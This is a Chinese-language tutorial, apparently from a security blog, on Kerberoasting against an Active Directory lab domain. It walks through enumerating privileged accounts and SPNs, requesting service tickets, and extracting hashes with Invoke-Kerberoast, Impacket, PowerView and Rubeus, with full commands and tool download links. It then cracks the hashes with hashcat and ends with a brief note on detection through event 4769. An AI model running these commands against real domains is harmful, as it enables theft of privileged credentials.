## 一、简介
### 1.1 攻击流程
- `kerberosating`是一种基于`Kerberos`协议,利用`SPN`机制签发`ST`,取得票据后,对票据进行离线破解以此取得`SPN`所关联账户的明文密码的机制。
### 1.2 SPN
- `SPN(ServicePrincipal Names)`是一个服务实例的唯一标识符,kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。
- 换言之,就是如果想使用 `Kerberos` 协议来认证服务,那么必须正确配置 SPN。
- SPN示例:
- 格式:`<serviceclass>/<host>:<port>/<service name>`
- 远程桌面服务:`TERMSRV/WIN-DO4J60BDGU8.tech.com`
- LDAP服务:`ldap/DC/tech.com`
- 对账户设置SPN
- `setspn -S test/test.tech.com privilege`
![image-20231103111847067](https://picture.gotarget.top/202311031118704.png)
## 二、攻击
### 2.1 利用流程
- 查看域内特权账户==>找到这些特权账户的SPN==>利用SPN主动申请ST==>将票据导出==>离线破解==>取得关联账户明文密码
### 2.2 探查域内特权账户
- 使用普通域内账户即可开始攻击
![image-20231103112938114](https://picture.gotarget.top/202311031341599.png)
- 查询域管账户:
- `net groups "Domain Admins" /domain`
![image-20231103113056469](https://picture.gotarget.top/202311031341615.png)
### 2.3 找到这些特权账户的SPN
- 查询域内所有的SPN
- `setspn -q */*`
![image-20231103122656411](https://picture.gotarget.top/202311031340351.png)
### 2.4 利用SPN主动申请ST
- 根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。
```powershell
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "test/test.tech.com"
```
- 注意:
- 因为这里使用的是自身的普通账户请求的票据,所以没法直接采用PTT的方式使用票据的关联特权账户权限
![image-20231103123242285](https://picture.gotarget.top/202311031340767.png)
### 2.5 票据利用
#### 2.5.1 方式1
- 依赖工具:
- 导出票据:[Invoke-Kerberoast.ps](https://owncloud.gotarget.top/d/Safely_Tools/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/kerberosating/Invoke-Kerberoast.ps1)、[Rubeus.exe](https://owncloud.gotarget.top/d/Safely_Tools/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/kerberosating/Rubeus.exe)、`PowerView`、`Impacket`
- 离线破解:[hashcat](https://owncloud.gotarget.top/d/Safely_Tools/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/hashcat-windows-6.2.5.zip)
- `Invoke-Kerberoast.ps1`
- 这里我上一天执行的时侯还是OK的,今天再复现就出现了异常~~~,就盗图了哈
```powershell
PS C:\> Import-module .\Invoke-Kerberoast.ps1
PS C:\> Invoke-kerberoast -outputformat hashcat |fl
```
![](https://picture.gotarget.top/202311031340508.png)
#### 2.5.2 方式2:impacket
- 查询票据:`impacket-GetUserSPNs -dc-ip 192.168.30.149 tech.com/administrator`
![image-20240228133412985](https://picture.gotarget.top/202402281335319.png)
- 请求指定用户票据:`impacket-GetUserSPNs -dc-ip 192.168.30.149 tech.com/administrator -request-user privilege`
![image-20240228133506737](https://picture.gotarget.top/202402281335654.png)
#### 2.5.3 方式2:PowerView
- 下载:[传送门](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1)
- 获取指定用户票据哈希:`Get-DomainUser -Identity privilege | Get-DomainSPNTicket -Format Hashcat`
![image-20240228134814984](https://picture.gotarget.top/202402281356932.png)
#### 2.5.4 方式3:Rubeus
- 获取指定用户哈希:`.\Rubeus.exe kerberoast /user:privilege /nowrap`
- `/nowrap`:转换输出格式为符合 `hashcat` 的格式
- `/tgtdeleg`:申请 `RC4` 加密格式字符
![image-20240228135612679](https://picture.gotarget.top/202402281356039.png)
### 2.6 票据解密
- `hashcat -m 13100 hash wordlist -o found.txt`
- 注:`hash` 是前线取得的hash值,注意将其转为单行!否则不符合格式
![image-20240228140443577](https://picture.gotarget.top/202402281404500.png)
## 三、事件溯源
- 在账户向DC申请`SPN`票据时会产生日志`4769`,以此通过申请账户以及申请服务 `ID` 来判断该攻击是否发生
![image-20240311193337049](https://picture.gotarget.top/202403111934348.png)
kerberosating攻击利用